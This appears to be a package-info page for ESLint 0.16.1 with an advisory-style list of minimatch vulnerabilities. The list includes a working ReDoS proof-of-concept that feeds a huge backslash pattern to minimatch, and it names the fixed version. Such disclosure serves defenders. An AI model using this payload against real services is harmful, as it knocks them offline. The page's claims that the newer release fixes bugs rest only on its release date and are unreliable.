ESLint version 0.16.1 is a minor update to the popular JavaScript linting tool, building upon version 0.16.0. Both versions share the same core functionality as AST-based pattern checkers designed to enforce code style and prevent errors. They utilize identical dependencies for core operations, including chalk for console styling, escope and espree for JavaScript parsing and analysis, and js-yaml for configuration file handling. Developers will find the linting rules and configuration options consistent across both releases.
The key difference lies in the release date; version 0.16.1 was published on March 8, 2015, a day after version 0.16.0. Therefore, version 0.16.1 likely contains bug fixes or minor improvements addressing issues identified in the initial 0.16.0 release. For developers, upgrading to 0.16.1 is recommended to benefit from these potential fixes and ensure the most stable experience. This eliminates potential issues encountered in the previous version. Both versions provide a robust set of development dependencies helpful for contributing to the project for testing and building, including Mocha, Sinon, and Browserify, as well as tools for code coverage and documentation. Using the newest minor version helps guarantee the most robust development experience. When starting a new linting configuration the developer will not find differences between the two, so upgrading is always recommended
All the vulnerabilities related to the version 0.16.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
